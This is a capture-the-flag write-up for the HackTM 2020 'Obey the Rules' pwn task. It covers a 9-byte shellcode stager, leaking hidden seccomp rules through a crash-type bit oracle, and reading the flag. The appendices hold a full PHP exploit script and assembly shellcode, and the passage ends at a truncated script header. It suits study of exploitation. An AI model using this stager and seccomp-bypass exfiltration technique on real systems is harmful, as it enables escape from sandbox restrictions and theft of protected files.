# Obey the Rules - HackTM 2020 Quals## Introduction
Obey the Rules is a pwn task.
The goal of this task is to read a file, `/home/pwn/flag.txt`. The binaryprovided will execute a user-provided shellcode, but it is protected by seccomprules. The rules are not given to challengers.
## 9-bytes Shellcode
The binary prints an ASCII art of a book, and asks to the user whether they obeyor not.
The user's input is read in a 11-bytes buffer. It is then compared against `Y`with `strcmp`. If it does not, (i.e. if the buffer does not start with `Y\x00`)the process will execute `/bin/sh`. This will result in the process being killeddue to the seccomp filters.
If the buffer does start with `Y\x00`, the first NULL byte (found with `strlen`)is replaced with an other `Y`, and the buffer is executed as a shellcode.
When the shellcode is called, `rax` points to the begining of the rwx-mappedmemory area that holds the shellcode. This can be leveraged to overwrite theshellcode with a longer shellcode using `read`.
```0000:	59   	pop    rcx     // first Y0001:	59   	pop    rcx     // NULL, replaced by Y
0002:	31 ff	xor    edi,edi // fd  = 00004:	48 96	xchg   rsi,rax // buf = map0006:	31 c0	xor    eax,eax // syscall = 0 (SYS_read)0008:	0f 05	syscall000A:	90	nop```
## Leaking the seccomp rules
With a longer shellcode, it is possible to issue any syscall. However, almostevery syscalls appear to be blocked by the seccomp rules, including `write`.
It is possible to exfiltrate a bit by terminating the program, either with asegmentation fault (jumping to invalid memory) or with a trap to debugger(`int3`, invoking an uncaught `SIGTRAP`)
This oracle can be used to exfiltrate the content of the seccomp rules thatare referenced in a global variable.
The disassembled BPF program used as a filter is the following:```l0:	ld [4]l1:	jeq AUDIT_ARCH_X86_64, l2, l12
l2:	ld [0]l3:	jge #0x40000000, l12, l4
l4:	jeq SYS_open, l11, l5l5:	jeq SYS_exit, l11, l6l6:	jeq SYS_read, l7, l12
l7:	ld [16]l8:	jeq #0x3, l9, l11
l9:	ld [24]l10:	jeq #0x602888, l11, l12l11:	ret #0x7fff0000l12:	ret #0```
This filter allows:1. open2. exit3. read when `fd` is not 34. read when `fd` is 3, and `buf` is `0x602888`
## Leaking the flag
The seccomp filters only allows the flag to be read at `0x602888` (`fd` == 3).It is not possible to open a 4th file due to system restrictions set beforecreating the process. (à la `ulimit`)
It is possible to run a shellcode that will open the flag, read it at thecorrect location and use the script used previously to exfiltrate the flag.
The final shellcode can be found at `shellcode.S` in the appendices. The finalscript in `pwn.php` as well as additional scripts that were used to convertformats (binary digits, BPF, and ascii)
**Flag**: `HackTM{kn0w_th3_rul3s_we11_s0_y0u_c4n_br34k_th3m_EFFECTIVELY}`
## Appendices### pwn.php```php#!/usr/bin/phpexpectLine("");$t->expectLine("           === OBEY THE RULES 1.0 ===");$t->expectLine("           --------------------------");$t->expectLine("");$t->expectLine("    __________________   __________________");$t->expectLine(".-/|                  \ /                  |\-.");$t->expectLine("||||    NEW RULES:     |                   ||||");$t->expectLine("||||                   |                   ||||");$t->expectLine("||||                   |                   ||||");$t->expectLine("||||                   |                   ||||");$t->expectLine("||||                   |                   ||||");$t->expectLine("||||                   |                   ||||");$t->expectLine("||||                   |                   ||||");$t->expectLine("||||                   |                   ||||");$t->expectLine("||||                   |                   ||||");$t->expectLine("||||                   |                   ||||");$t->expectLine("||||__________________ | __________________||||");$t->expectLine("||/===================\|/===================\||");$t->expectLine("`--------------------~___~-------------------''");$t->expectLine("");
$t->expectLine("   >> Do you Obey? (yes / no)");
$payload  = "Y\x00"; // pop rcx, pop rcx
$payload .= "\x31\xFF"; // xor edi, edi$payload .= "\x48\x96"; // xchg rsi, rax$payload .= "\x31\xC0"; // xor eax, eax (SYS_read)$payload .= "\x0F\x05"; // syscall$payload  = str_pad($payload, 0x0B, "\x90");
$shellcode = file_get_contents("shellcode");$shellcode = str_replace("BBBB", pack("V", $argv[1]), $shellcode);$payload  .= str_repeat("\x90", strlen($payload));$payload  .= $shellcode;$t->write($payload);
$line = $t->readLine();if($line === "Segmentation fault (core dumped)")	echo "0";else if($line === "Trace/breakpoint trap (core dumped)")	echo "1";else	echo "?";echo "\n";```
### shellcode.S```asm.intel_syntax noprefix.global _start
_start:	lea rdi, [rip + filename]	mov rsi, 0	mov rax, 0 // SYS_open	syscall	// rax == 3
	mov rdi, rax	mov rsi, 0x602888 // backdoor	mov rdx, 0x80	mov rax, SYS_read	syscall
	// placeholder	mov ecx, 0x42424242
	// al = target[bit >> 3]	mov rdi, rcx	shr rdi, 3	add rdi, 0x602888	mov al, byte ptr [rdi]
	and cl, 7	shr al, cl	and al, 1
	jnz true	push 0	ret
true:	int3
filename: .asciz "/home/pwn/flag.txt"```
### convert.php```php#!/usr/bin/php